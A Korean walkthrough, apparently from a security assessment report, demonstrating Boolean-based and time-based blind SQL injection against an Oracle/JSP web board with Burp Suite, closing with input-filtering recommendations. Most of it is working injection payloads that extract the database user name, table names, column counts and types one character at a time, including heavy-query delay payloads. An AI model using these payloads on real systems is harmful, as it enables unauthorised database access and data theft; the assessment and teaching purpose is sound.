Boolean-Based&Time-Based SQL Injection
개발환경 : Oracle 11g, BurpSuite, JSP
해당 유저의 첫 글자를 60 이하의 아스키코드인지 확인 후 100이하인지 확인,
이후 중간 값인 80이하인지 체크하며 중간값으로 접근해 최종 74 아스키코드 ‘J’ 유저명 첫글자 확인
Step1) Burp Suite를 시작한다.
Step2) 웹 브라우저 프록시를 켜고(팔콘프록시 사용) 검색어 입력
쿼리 구문 > 쿼리 구문 > test%' and (select case when ascii(substr(user,1,1))<60 then '1' else '2' end from dual)='1') --
Step3) Burp suite에서 패킷 캡쳐 후 입력값 확인
Step4) HTTP History 탭으로 이동 후 입력값을 보내는 패킷 찾기
Step5) 해당 패킷 우클릭 후 Send to Repeater 클릭
Step6) Repeater탭으로 이동해 입력값을 확인하고 Send를 눌러 응답 확인
Step7) 60을 100으로 바꾸어 DB 유저명 첫 글자의 아스키코드 값이 100 이하인지 확인
test글자가 포함된 글이 검색된 것으로 보아 True, 즉 아스키코드 값이 100이하임을 확인함
Step8) 중간값으로 접근해 80 입력, 80이하임을 확인
Step9) 70입력 후 결과값 확인
Step9) 75입력 후 결과값 확인
Step10) 73입력 후 결과값 확인
Step11) 74입력 후 결과값 확인
조건이 75이하 에서 true, 74 이하에서 false이므로 값이 74임을 추측
Step12) 74입력값이 확실한지 =(%3D)를 입력해 확인
Test가 검색된 것으로 보아 74 아스키코드 값인 ‘J’가 DB유저명의 첫글자 임을 확인
Step13) Step2~12를 반복해 DB 유저명의 두번째, 세번째 글자 아스키코드 찾기
두번째 글자 찾기
쿼리 구문 > test%' and (select case when ascii(substr(user,2,2))<60 then '1' else '2' end from dual)='1') –
같은 방법으로 60과 100으로 시작해 절반값을 넣어 최종적으로 83 아스키코드 값(‘S’) 추출
세번째 글자 찾기
쿼리 구문 > test%' and (select case when ascii(substr(user,3,3))<60 then '1' else '2' end from dual)='1') –
같은 방법으로 60과 100으로 시작해 절반값을 넣어 최종적으로 87 아스키코드 값(‘W’) 추출
Step13) Step2~12를 반복해 DB 유저명의 두번째, 세번째 글자 아스키코드 찾기
쿼리 구문 > test%' and (select case when ascii(substr(user,4,4))<127 then '1' else '2' end from dual)='1') --
아스키코드의 최대 숫자인 127을 입력해도 값이 나오지 않을 경우 해당 글자가 없는 것
DB 유저명 ‘JSW’을 추출함
Step14) Step2~12를 반복해 테이블 갯수 찾기
해당 DB유저의 테이블 갯수 확인
입력 쿼리 > test%' and (select case when count(*)>100 then '1' else '2' end from tab)='1') --
테이블 개수가 5개 보다 적은지 확인
Send 클릭 후 결과 확인(True이기 때문에 검색 결과가 나옴)
Send 클릭 후 결과 확인(True이기 때문에 검색 결과가 나옴)
Step15) Step2~12를 반복해 테이블명 찾기
쿼리 구문 > test%' and (select case when ascii(substr(tname,1,1))<100 then '1' else '2' end from tab where rownum=1)='1') --
우측에 검색결과가 정상적으로 나옴으로 보아 테이블명의 첫글자가 아스키코드 66 ‘B’임을 확인
동일한 방법으로 두번째 글자 아스키코드 66 ‘B’와 세번째 글자 아스키코드 83 ’S’ 확인
tname %2C (X번째 글자) %2C (X번째 글자) 입력
예) 두번째 = tname %2C 2 %2C 2
테이블명 ‘BBS’ 추출
위와 동일한 방법으로 두번째 테이블명 추출
쿼리 구문 > test%' and (select case when ascii(substr(tname,1,1))<100 then '1' else '2' end from (select rownum as rownumber, b.* from tab b) a where a.rownumber=2)='1') --
Rownumber=2를 넣어 두번째 테이블명에 접근
동일한 방법으로 아스키코드값 추출
Step16) Step2~12를 반복해 테이블 컬럼 개수 찾기
테이블 컬럼의 개수를 찾고 타입을 찾기 위해 다음과 같은 쿼리를 입력
쿼리 구문> test%' and (select case when count(*)>10 then '1' else '2' end from col where tname='BBS')='1') --
컬럼의 개수가 10개 이하임을 확인 후 절반 값을 입력
컬럼 개수가 5개 초과임을 확인 후 10과 5의 절반인 7을 입력
7이하임을 확인, 6을 입력
컬럼의 개수 6개임을 찾아냄
Step17) Step2~12를 반복해 테이블 컬럼 타입 찾기
쿼리 구문> test%' and(select case when ascii(substr(data_type,1,1))<100 then '1' else '2' end from(select rownum as rownumber, b.* from all_tab_columns b where table_name='BBS') a where a.rownumber=2)='1') --
두번째 컬럼(BBS_TITLE)의 타입 VARCHAR2 의 첫 글자 V 추출 확인
※ 검색어 입력을 받을 시 사용자 입력값에 제한이 없는 관계로 다양한 공격에 노출되어 있음. 위와 같이 Boolean-Based Injection을 이용하여 한글자씩 추출해 DB 유저명 뿐만 아니라 테이블명 나아가 테이블 데이터 및 컬럼명 추출 가능. 검색어 입력 값을 받을 시 특수문자 필터와 37page와 같은 특정 입력 값 필터를 적용할 것을 권고.
Case2) Time-based SQL Injection
Step1) 게시판 검색창을 이용한 Time-based SQL Injection이 가능하고, 뿐만 아니라 회원정보 수정 페이지에서도 Time-based SQL Injection이 가능함
쿼리 구문 > test%') where (select case when ascii(substr(user,1,1))<100 then (select count(*) from all_users A, all_users B, all_users C, all_users D, all_users E, all_users F) else 2 end from dual)!=2 –
위 쿼리의 조건인, DB유저명의 첫 글자 아스키코드 값이 100보다 작으면, true라면 뒤의 Heavy Query를 수행하느라 로딩이 길어짐. 반면에 false라면 바로 결과 값이 나오게 되어 로딩하는 시간으로 결과값을 알수 있게 됨
True일 경우 로딩 시간이 걸려 결과 값인 test 검색 결과가 나오게 됨
아래와 같이 False인 경우 시간이 걸리지 않고 바로 결과가 나오게 됨
Step2) 회원 정보 수정 페이지에 쿼리 입력 및 지연 확인
쿼리 구문 > a@a' where userId='jsw' and (select case when ascii(substr(user,1,1))>10 then (select count(*) from all_users A, all_users B, all_users C, all_users D, all_users E, all_users F) else 2 end from dual)!=2 --
Step3) 테이블 컬럼 타입 추출
쿼리를 입력해 Time-Based SQL Injection으로 테이블 컬럼 데이터 타입 추출
쿼리 구문 > a@a' where userId='jsw' and (select case when ascii(substr(data_type,1,1))>100 then (select count() from all_users A, all_users B, all_users C, all_users D, all_users E, all_users F) else 2 end from(select rownum as rownumber, b. from all_tab_columns b where table_name='BBS') a where a.rownumber=2)='2' –
헤비 쿼리를 입력해 True면 헤비쿼리를 읽어내는 시간만큼 지연이 생기고, False면 바로 출력이 된다.
※ 회원정보 수정 페이지에서 별 다른 입력값의 제한이 없는 관계로Time-Based Injection을 이용해 각 테이블명과, 컬럼타입, 유저명 Boolean-Based Injection과 마찬가지로 한 글자씩 추출이 가능 검색어 입력값을 받을 시 특수문자 필터와 37page와 같은 입력값 필터를 적용할 것을 권고.